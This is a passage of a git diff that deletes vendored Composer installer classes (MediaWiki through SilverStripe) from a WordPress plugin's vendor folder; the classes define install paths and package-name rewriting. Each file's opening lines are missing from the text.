b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MediaWikiInstaller.php deleted file mode 100644 index f5a8957e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MediaWikiInstaller.php +++ /dev/null @@ -1,51 +0,0 @@ - 'core/', - 'extension' => 'extensions/{$name}/', - 'skin' => 'skins/{$name}/', - ); - - /** - * Format package name. - * - * For package type mediawiki-extension, cut off a trailing '-extension' if present and transform - * to CamelCase keeping existing uppercase chars. - * - * For package type mediawiki-skin, cut off a trailing '-skin' if present. - * - */ - public function inflectPackageVars($vars) - { - - if ($vars['type'] === 'mediawiki-extension') { - return $this->inflectExtensionVars($vars); - } - - if ($vars['type'] === 'mediawiki-skin') { - return $this->inflectSkinVars($vars); - } - - return $vars; - } - - protected function inflectExtensionVars($vars) - { - $vars['name'] = preg_replace('/-extension$/', '', $vars['name']); - $vars['name'] = str_replace('-', ' ', $vars['name']); - $vars['name'] = str_replace(' ', '', ucwords($vars['name'])); - - return $vars; - } - - protected function inflectSkinVars($vars) - { - $vars['name'] = preg_replace('/-skin$/', '', $vars['name']); - - return $vars; - } - -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MiaoxingInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MiaoxingInstaller.php deleted file mode 100644 index 66d8369c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MiaoxingInstaller.php +++ /dev/null @@ -1,10 +0,0 @@ - 'plugins/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MicroweberInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MicroweberInstaller.php deleted file mode 100644 index b7d97039..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MicroweberInstaller.php +++ /dev/null @@ -1,119 +0,0 @@ - 'userfiles/modules/{$install_item_dir}/', - 'module-skin' => 'userfiles/modules/{$install_item_dir}/templates/', - 'template' => 'userfiles/templates/{$install_item_dir}/', - 'element' => 'userfiles/elements/{$install_item_dir}/', - 'vendor' => 'vendor/{$install_item_dir}/', - 'components' => 'components/{$install_item_dir}/' - ); - - /** - * Format package name. - * - * For package type microweber-module, cut off a trailing '-module' if present - * - * For package type microweber-template, cut off a trailing '-template' if present. - * - */ - public function inflectPackageVars($vars) - { - - - if ($this->package->getTargetDir()) { - $vars['install_item_dir'] = $this->package->getTargetDir(); - } else { - $vars['install_item_dir'] = $vars['name']; - if ($vars['type'] === 'microweber-template') { - return $this->inflectTemplateVars($vars); - } - if ($vars['type'] === 'microweber-templates') { - return $this->inflectTemplatesVars($vars); - } - if ($vars['type'] === 'microweber-core') { - return $this->inflectCoreVars($vars); - } - if ($vars['type'] === 'microweber-adapter') { - return $this->inflectCoreVars($vars); - } - if ($vars['type'] === 'microweber-module') { - return $this->inflectModuleVars($vars); - } - if ($vars['type'] === 'microweber-modules') { - return $this->inflectModulesVars($vars); - } - if ($vars['type'] === 'microweber-skin') { - return $this->inflectSkinVars($vars); - } - if ($vars['type'] === 'microweber-element' or $vars['type'] === 'microweber-elements') { - return $this->inflectElementVars($vars); - } - } - - - return $vars; - } - - protected function inflectTemplateVars($vars) - { - $vars['install_item_dir'] = preg_replace('/-template$/', '', $vars['install_item_dir']); - $vars['install_item_dir'] = preg_replace('/template-$/', '', $vars['install_item_dir']); - - return $vars; - } - - protected function inflectTemplatesVars($vars) - { - $vars['install_item_dir'] = preg_replace('/-templates$/', '', $vars['install_item_dir']); - $vars['install_item_dir'] = preg_replace('/templates-$/', '', $vars['install_item_dir']); - - return $vars; - } - - protected function inflectCoreVars($vars) - { - $vars['install_item_dir'] = preg_replace('/-providers$/', '', $vars['install_item_dir']); - $vars['install_item_dir'] = preg_replace('/-provider$/', '', $vars['install_item_dir']); - $vars['install_item_dir'] = preg_replace('/-adapter$/', '', $vars['install_item_dir']); - - return $vars; - } - - protected function inflectModuleVars($vars) - { - $vars['install_item_dir'] = preg_replace('/-module$/', '', $vars['install_item_dir']); - $vars['install_item_dir'] = preg_replace('/module-$/', '', $vars['install_item_dir']); - - return $vars; - } - - protected function inflectModulesVars($vars) - { - $vars['install_item_dir'] = preg_replace('/-modules$/', '', $vars['install_item_dir']); - $vars['install_item_dir'] = preg_replace('/modules-$/', '', $vars['install_item_dir']); - - return $vars; - } - - protected function inflectSkinVars($vars) - { - $vars['install_item_dir'] = preg_replace('/-skin$/', '', $vars['install_item_dir']); - $vars['install_item_dir'] = preg_replace('/skin-$/', '', $vars['install_item_dir']); - - return $vars; - } - - protected function inflectElementVars($vars) - { - $vars['install_item_dir'] = preg_replace('/-elements$/', '', $vars['install_item_dir']); - $vars['install_item_dir'] = preg_replace('/elements-$/', '', $vars['install_item_dir']); - $vars['install_item_dir'] = preg_replace('/-element$/', '', $vars['install_item_dir']); - $vars['install_item_dir'] = preg_replace('/element-$/', '', $vars['install_item_dir']); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ModxInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ModxInstaller.php deleted file mode 100644 index 0ee140ab..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ModxInstaller.php +++ /dev/null @@ -1,12 +0,0 @@ - 'core/packages/{$name}/' - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MoodleInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MoodleInstaller.php deleted file mode 100644 index 05317995..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MoodleInstaller.php +++ /dev/null @@ -1,59 +0,0 @@ - 'mod/{$name}/', - 'admin_report' => 'admin/report/{$name}/', - 'atto' => 'lib/editor/atto/plugins/{$name}/', - 'tool' => 'admin/tool/{$name}/', - 'assignment' => 'mod/assignment/type/{$name}/', - 'assignsubmission' => 'mod/assign/submission/{$name}/', - 'assignfeedback' => 'mod/assign/feedback/{$name}/', - 'auth' => 'auth/{$name}/', - 'availability' => 'availability/condition/{$name}/', - 'block' => 'blocks/{$name}/', - 'booktool' => 'mod/book/tool/{$name}/', - 'cachestore' => 'cache/stores/{$name}/', - 'cachelock' => 'cache/locks/{$name}/', - 'calendartype' => 'calendar/type/{$name}/', - 'fileconverter' => 'files/converter/{$name}/', - 'format' => 'course/format/{$name}/', - 'coursereport' => 'course/report/{$name}/', - 'customcertelement' => 'mod/customcert/element/{$name}/', - 'datafield' => 'mod/data/field/{$name}/', - 'datapreset' => 'mod/data/preset/{$name}/', - 'editor' => 'lib/editor/{$name}/', - 'enrol' => 'enrol/{$name}/', - 'filter' => 'filter/{$name}/', - 'gradeexport' => 'grade/export/{$name}/', - 'gradeimport' => 'grade/import/{$name}/', - 'gradereport' => 'grade/report/{$name}/', - 'gradingform' => 'grade/grading/form/{$name}/', - 'local' => 'local/{$name}/', - 'logstore' => 'admin/tool/log/store/{$name}/', - 'ltisource' => 'mod/lti/source/{$name}/', - 'ltiservice' => 'mod/lti/service/{$name}/', - 'message' => 'message/output/{$name}/', - 'mnetservice' => 'mnet/service/{$name}/', - 'plagiarism' => 'plagiarism/{$name}/', - 'portfolio' => 'portfolio/{$name}/', - 'qbehaviour' => 'question/behaviour/{$name}/', - 'qformat' => 'question/format/{$name}/', - 'qtype' => 'question/type/{$name}/', - 'quizaccess' => 'mod/quiz/accessrule/{$name}/', - 'quiz' => 'mod/quiz/report/{$name}/', - 'report' => 'report/{$name}/', - 'repository' => 'repository/{$name}/', - 'scormreport' => 'mod/scorm/report/{$name}/', - 'search' => 'search/engine/{$name}/', - 'theme' => 'theme/{$name}/', - 'tinymce' => 'lib/editor/tinymce/plugins/{$name}/', - 'profilefield' => 'user/profile/field/{$name}/', - 'webservice' => 'webservice/{$name}/', - 'workshopallocation' => 'mod/workshop/allocation/{$name}/', - 'workshopeval' => 'mod/workshop/eval/{$name}/', - 'workshopform' => 'mod/workshop/form/{$name}/' - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/OctoberInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/OctoberInstaller.php deleted file mode 100644 index 489ef02a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/OctoberInstaller.php +++ /dev/null @@ -1,48 +0,0 @@ - 'modules/{$name}/', - 'plugin' => 'plugins/{$vendor}/{$name}/', - 'theme' => 'themes/{$vendor}-{$name}/' - ); - - /** - * Format package name. - * - * For package type october-plugin, cut off a trailing '-plugin' if present. - * - * For package type october-theme, cut off a trailing '-theme' if present. - * - */ - public function inflectPackageVars($vars) - { - if ($vars['type'] === 'october-plugin') { - return $this->inflectPluginVars($vars); - } - - if ($vars['type'] === 'october-theme') { - return $this->inflectThemeVars($vars); - } - - return $vars; - } - - protected function inflectPluginVars($vars) - { - $vars['name'] = preg_replace('/^oc-|-plugin$/', '', $vars['name']); - $vars['vendor'] = preg_replace('/[^a-z0-9_]/i', '', $vars['vendor']); - - return $vars; - } - - protected function inflectThemeVars($vars) - { - $vars['name'] = preg_replace('/^oc-|-theme$/', '', $vars['name']); - $vars['vendor'] = preg_replace('/[^a-z0-9_]/i', '', $vars['vendor']); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/OntoWikiInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/OntoWikiInstaller.php deleted file mode 100644 index 5dd3438d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/OntoWikiInstaller.php +++ /dev/null @@ -1,24 +0,0 @@ - 'extensions/{$name}/', - 'theme' => 'extensions/themes/{$name}/', - 'translation' => 'extensions/translations/{$name}/', - ); - - /** - * Format package name to lower case and remove ".ontowiki" suffix - */ - public function inflectPackageVars($vars) - { - $vars['name'] = strtolower($vars['name']); - $vars['name'] = preg_replace('/.ontowiki$/', '', $vars['name']); - $vars['name'] = preg_replace('/-theme$/', '', $vars['name']); - $vars['name'] = preg_replace('/-translation$/', '', $vars['name']); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/OsclassInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/OsclassInstaller.php deleted file mode 100644 index 3ca7954c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/OsclassInstaller.php +++ /dev/null @@ -1,14 +0,0 @@ - 'oc-content/plugins/{$name}/', - 'theme' => 'oc-content/themes/{$name}/', - 'language' => 'oc-content/languages/{$name}/', - ); - -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/OxidInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/OxidInstaller.php deleted file mode 100644 index 1797a22c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/OxidInstaller.php +++ /dev/null @@ -1,59 +0,0 @@ -.+)\/.+/'; - - protected $locations = array( - 'module' => 'modules/{$name}/', - 'theme' => 'application/views/{$name}/', - 'out' => 'out/{$name}/', - ); - - /** - * getInstallPath - * - * @param PackageInterface $package - * @param string $frameworkType - * @return string - */ - public function getInstallPath(PackageInterface $package, $frameworkType = '') - { - $installPath = parent::getInstallPath($package, $frameworkType); - $type = $this->package->getType(); - if ($type === 'oxid-module') { - $this->prepareVendorDirectory($installPath); - } - return $installPath; - } - - /** - * prepareVendorDirectory - * - * Makes sure there is a vendormetadata.php file inside - * the vendor folder if there is a vendor folder. - * - * @param string $installPath - * @return void - */ - protected function prepareVendorDirectory($installPath) - { - $matches = ''; - $hasVendorDirectory = preg_match(self::VENDOR_PATTERN, $installPath, $matches); - if (!$hasVendorDirectory) { - return; - } - - $vendorDirectory = $matches['vendor']; - $vendorPath = getcwd() . '/modules/' . $vendorDirectory; - if (!file_exists($vendorPath)) { - mkdir($vendorPath, 0755, true); - } - - $vendorMetaDataPath = $vendorPath . '/vendormetadata.php'; - touch($vendorMetaDataPath); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PPIInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PPIInstaller.php deleted file mode 100644 index 170136f9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PPIInstaller.php +++ /dev/null @@ -1,9 +0,0 @@ - 'modules/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PantheonInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PantheonInstaller.php deleted file mode 100644 index 439f61a0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PantheonInstaller.php +++ /dev/null @@ -1,12 +0,0 @@ - */ - protected $locations = array( - 'script' => 'web/private/scripts/quicksilver/{$name}', - 'module' => 'web/private/scripts/quicksilver/{$name}', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PhiftyInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PhiftyInstaller.php deleted file mode 100644 index 4e59a8a7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PhiftyInstaller.php +++ /dev/null @@ -1,11 +0,0 @@ - 'bundles/{$name}/', - 'library' => 'libraries/{$name}/', - 'framework' => 'frameworks/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PhpBBInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PhpBBInstaller.php deleted file mode 100644 index deb2b77a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PhpBBInstaller.php +++ /dev/null @@ -1,11 +0,0 @@ - 'ext/{$vendor}/{$name}/', - 'language' => 'language/{$name}/', - 'style' => 'styles/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PimcoreInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PimcoreInstaller.php deleted file mode 100644 index 4781fa6d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PimcoreInstaller.php +++ /dev/null @@ -1,21 +0,0 @@ - 'plugins/{$name}/', - ); - - /** - * Format package name to CamelCase - */ - public function inflectPackageVars($vars) - { - $vars['name'] = strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1', $vars['name'])); - $vars['name'] = str_replace(array('-', '_'), ' ', $vars['name']); - $vars['name'] = str_replace(' ', '', ucwords($vars['name'])); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PiwikInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PiwikInstaller.php deleted file mode 100644 index c17f4572..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PiwikInstaller.php +++ /dev/null @@ -1,32 +0,0 @@ - 'plugins/{$name}/', - ); - - /** - * Format package name to CamelCase - * @param array $vars - * - * @return array - */ - public function inflectPackageVars($vars) - { - $vars['name'] = strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1', $vars['name'])); - $vars['name'] = str_replace(array('-', '_'), ' ', $vars['name']); - $vars['name'] = str_replace(' ', '', ucwords($vars['name'])); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PlentymarketsInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PlentymarketsInstaller.php deleted file mode 100644 index 903e55f6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PlentymarketsInstaller.php +++ /dev/null @@ -1,29 +0,0 @@ - '{$name}/' - ); - - /** - * Remove hyphen, "plugin" and format to camelcase - * @param array $vars - * - * @return array - */ - public function inflectPackageVars($vars) - { - $vars['name'] = explode("-", $vars['name']); - foreach ($vars['name'] as $key => $name) { - $vars['name'][$key] = ucfirst($vars['name'][$key]); - if (strcasecmp($name, "Plugin") == 0) { - unset($vars['name'][$key]); - } - } - $vars['name'] = implode("",$vars['name']); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Plugin.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Plugin.php deleted file mode 100644 index e60da0e7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Plugin.php +++ /dev/null @@ -1,27 +0,0 @@ -installer = new Installer($io, $composer); - $composer->getInstallationManager()->addInstaller($this->installer); - } - - public function deactivate(Composer $composer, IOInterface $io) - { - $composer->getInstallationManager()->removeInstaller($this->installer); - } - - public function uninstall(Composer $composer, IOInterface $io) - { - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PortoInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PortoInstaller.php deleted file mode 100644 index dbf85e63..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PortoInstaller.php +++ /dev/null @@ -1,9 +0,0 @@ - 'app/Containers/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PrestashopInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PrestashopInstaller.php deleted file mode 100644 index 4c8421e3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PrestashopInstaller.php +++ /dev/null @@ -1,10 +0,0 @@ - 'modules/{$name}/', - 'theme' => 'themes/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ProcessWireInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ProcessWireInstaller.php deleted file mode 100644 index e6834a0c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ProcessWireInstaller.php +++ /dev/null @@ -1,22 +0,0 @@ - 'site/modules/{$name}/', - ); - - /** - * Format package name to CamelCase - */ - public function inflectPackageVars($vars) - { - $vars['name'] = strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1', $vars['name'])); - $vars['name'] = str_replace(array('-', '_'), ' ', $vars['name']); - $vars['name'] = str_replace(' ', '', ucwords($vars['name'])); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PuppetInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PuppetInstaller.php deleted file mode 100644 index 77cc3dd8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PuppetInstaller.php +++ /dev/null @@ -1,11 +0,0 @@ - 'modules/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PxcmsInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PxcmsInstaller.php deleted file mode 100644 index 65510580..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/PxcmsInstaller.php +++ /dev/null @@ -1,63 +0,0 @@ - 'app/Modules/{$name}/', - 'theme' => 'themes/{$name}/', - ); - - /** - * Format package name. - * - * @param array $vars - * - * @return array - */ - public function inflectPackageVars($vars) - { - if ($vars['type'] === 'pxcms-module') { - return $this->inflectModuleVars($vars); - } - - if ($vars['type'] === 'pxcms-theme') { - return $this->inflectThemeVars($vars); - } - - return $vars; - } - - /** - * For package type pxcms-module, cut off a trailing '-plugin' if present. - * - * return string - */ - protected function inflectModuleVars($vars) - { - $vars['name'] = str_replace('pxcms-', '', $vars['name']); // strip out pxcms- just incase (legacy) - $vars['name'] = str_replace('module-', '', $vars['name']); // strip out module- - $vars['name'] = preg_replace('/-module$/', '', $vars['name']); // strip out -module - $vars['name'] = str_replace('-', '_', $vars['name']); // make -'s be _'s - $vars['name'] = ucwords($vars['name']); // make module name camelcased - - return $vars; - } - - - /** - * For package type pxcms-module, cut off a trailing '-plugin' if present. - * - * return string - */ - protected function inflectThemeVars($vars) - { - $vars['name'] = str_replace('pxcms-', '', $vars['name']); // strip out pxcms- just incase (legacy) - $vars['name'] = str_replace('theme-', '', $vars['name']); // strip out theme- - $vars['name'] = preg_replace('/-theme$/', '', $vars['name']); // strip out -theme - $vars['name'] = str_replace('-', '_', $vars['name']); // make -'s be _'s - $vars['name'] = ucwords($vars['name']); // make module name camelcased - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/RadPHPInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/RadPHPInstaller.php deleted file mode 100644 index 0f78b5ca..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/RadPHPInstaller.php +++ /dev/null @@ -1,24 +0,0 @@ - 'src/{$name}/' - ); - - /** - * Format package name to CamelCase - */ - public function inflectPackageVars($vars) - { - $nameParts = explode('/', $vars['name']); - foreach ($nameParts as &$value) { - $value = strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1', $value)); - $value = str_replace(array('-', '_'), ' ', $value); - $value = str_replace(' ', '', ucwords($value)); - } - $vars['name'] = implode('/', $nameParts); - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ReIndexInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ReIndexInstaller.php deleted file mode 100644 index 252c7339..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ReIndexInstaller.php +++ /dev/null @@ -1,10 +0,0 @@ - 'themes/{$name}/', - 'plugin' => 'plugins/{$name}/' - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Redaxo5Installer.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Redaxo5Installer.php deleted file mode 100644 index 23a20347..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Redaxo5Installer.php +++ /dev/null @@ -1,10 +0,0 @@ - 'redaxo/src/addons/{$name}/', - 'bestyle-plugin' => 'redaxo/src/addons/be_style/plugins/{$name}/' - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/RedaxoInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/RedaxoInstaller.php deleted file mode 100644 index 09544576..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/RedaxoInstaller.php +++ /dev/null @@ -1,10 +0,0 @@ - 'redaxo/include/addons/{$name}/', - 'bestyle-plugin' => 'redaxo/include/addons/be_style/plugins/{$name}/' - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/RoundcubeInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/RoundcubeInstaller.php deleted file mode 100644 index d8d795be..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/RoundcubeInstaller.php +++ /dev/null @@ -1,22 +0,0 @@ - 'plugins/{$name}/', - ); - - /** - * Lowercase name and changes the name to a underscores - * - * @param array $vars - * @return array - */ - public function inflectPackageVars($vars) - { - $vars['name'] = strtolower(str_replace('-', '_', $vars['name'])); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SMFInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SMFInstaller.php deleted file mode 100644 index 1acd3b14..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SMFInstaller.php +++ /dev/null @@ -1,10 +0,0 @@ - 'Sources/{$name}/', - 'theme' => 'Themes/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ShopwareInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ShopwareInstaller.php deleted file mode 100644 index 7d20d27a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ShopwareInstaller.php +++ /dev/null @@ -1,60 +0,0 @@ - 'engine/Shopware/Plugins/Local/Backend/{$name}/', - 'core-plugin' => 'engine/Shopware/Plugins/Local/Core/{$name}/', - 'frontend-plugin' => 'engine/Shopware/Plugins/Local/Frontend/{$name}/', - 'theme' => 'templates/{$name}/', - 'plugin' => 'custom/plugins/{$name}/', - 'frontend-theme' => 'themes/Frontend/{$name}/', - ); - - /** - * Transforms the names - * @param array $vars - * @return array - */ - public function inflectPackageVars($vars) - { - if ($vars['type'] === 'shopware-theme') { - return $this->correctThemeName($vars); - } - - return $this->correctPluginName($vars); - } - - /** - * Changes the name to a camelcased combination of vendor and name - * @param array $vars - * @return array - */ - private function correctPluginName($vars) - { - $camelCasedName = preg_replace_callback('/(-[a-z])/', function ($matches) { - return strtoupper($matches[0][1]); - }, $vars['name']); - - $vars['name'] = ucfirst($vars['vendor']) . ucfirst($camelCasedName); - - return $vars; - } - - /** - * Changes the name to a underscore separated name - * @param array $vars - * @return array - */ - private function correctThemeName($vars) - { - $vars['name'] = str_replace('-', '_', $vars['name']); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SilverStripeInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SilverStripeInstaller.php deleted file mode 100644 index 81910e9f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SilverStripeInstaller.php +++ /dev/null @@ -1,35 +0,0 @@ - '{$name}/', - 'theme' => 'themes/{$name}/', - ); - - /** - * Return the install path based on package type. - * - * Relies on built-in BaseInstaller behaviour with one exception: silverstripe/framework - * must be installed to 'sapphire' and not 'framework' if the version is <3.0.0 - * - * @param PackageInterface $package - * @param string $frameworkType - * @return string - */ - public function getInstallPath(PackageInterface $package, $frameworkType = '') - { - if ( - $package->getName() == 'silverstripe/framework' - && preg_match('/^\d+\.\d+\.\d+/', $package->getVersion()) - && version_compare($package->getVersion(), '2.999.999') < 0 - ) { - return $this->templatePath($this->locations['module'], array('name' => 'sapphire')); - } - - return parent::getInstallPath($package, $frameworkType); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SiteDirectInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/SiteDirectInstaller.php deleted file mode 100644 index 762d94c6..00000000 --- 